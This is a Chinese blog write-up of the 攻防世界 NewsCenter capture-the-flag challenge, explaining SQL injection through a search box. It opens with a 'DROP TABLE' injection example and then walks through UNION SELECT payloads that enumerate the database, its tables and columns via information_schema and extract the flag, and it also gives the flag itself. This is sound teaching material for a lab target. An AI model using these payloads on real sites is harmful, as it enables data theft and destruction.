要么改变世界,要么适应世界

模糊查询之SQL注入(攻防世界NewsCenter题解)

2022-05-22 10:08:51
107
目录

前言

SQL注入是由于开发人员编写程序不当,攻击者可以在开发人员编写好的SQL语句的基础上,构造额外的SQL语句,从而发生意外的错误。

例如,如果我们有一个根据id查询的语句:

select * from test_table where id = test_id

使用高级语言编写语句:

String sql = "select * from test_table where id = " + test_id;

如果攻击者尝试将test_id构造成

2;DROP TABLE test_table; 

那么最终执行的SQL语句为:

select * from test_table where id = 2;
DROP TABLE test_table; 

当然你可能会说攻击者不知道表名,因此上面的很难构造出来。但是我想说的是如果存在SQL注入风险的时候,攻击者获取表名的方式你难以想象得到

题目背景

攻防世界NewsCenter

解题过程

打开场景后,发现是一个新闻页面,输入框中输入内容,然后进行模糊查询。

而模糊查询的一般语句为:

SELECT * from table where username like '%str%'

尝试输入%',发现后台报错,因此判定后台可以进行SQL注入。

然后略加思考,flag应该就藏在当前的数据库中?因此先数据库名;先输入%';SELECT DATABASE(); -- (中划线是将后面的SQL语句处理成注释形式),发现并没有返回预期的结果,然后想了想,查询到的数据应该是有好几列,然后一行是一个新闻,将其渲染,再返回到浏览器,接着分析了一下,每个新闻都有标题和内容,查询应该至少有两列,再次尝试构造SQL语句

%' UNION  SELECT DATABASE(),DATABASE(); --

UNION的意思是说将两个查询结果合并,可以执行的前提是两个查询有相同的列数,具体用法可以去网上查查。

发现还是报错,再次增加一列进行尝试:

%' UNION  SELECT DATABASE(),DATABASE(), DATABASE(); --

果然在最后的新闻列表中出现了数据库名news

然后看看该数据库中都有哪些表:

aaaaaaaa%' UNION SELECT table_name,table_name,table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA='news'; --

aaaaaaaa可以随便设置,最好是新闻中没有出现过的字符,这样子就方便获取我们想要的内容了。

然后发现有两张表,一个是news,另一个是secret_table

然后看看第二张表的字段名:

aaaaa%' UNION  SELECT COLUMN_NAME,COLUMN_NAME,COLUMN_NAME FROM information_schema.COLUMNS WHERE table_name = 'secret_table'; --

出现了一个fl4g字段名,再继续查询

aaaaa%' UNION  SELECT fl4g, fl4g, fl4g FROM secret_table; --

返回了QCTF{sq1_inJec7ion_ezzz}。至此,本题答案水落石出


黑帽白帽,就在一念之间!

🧑‍💻

历史评论
开始评论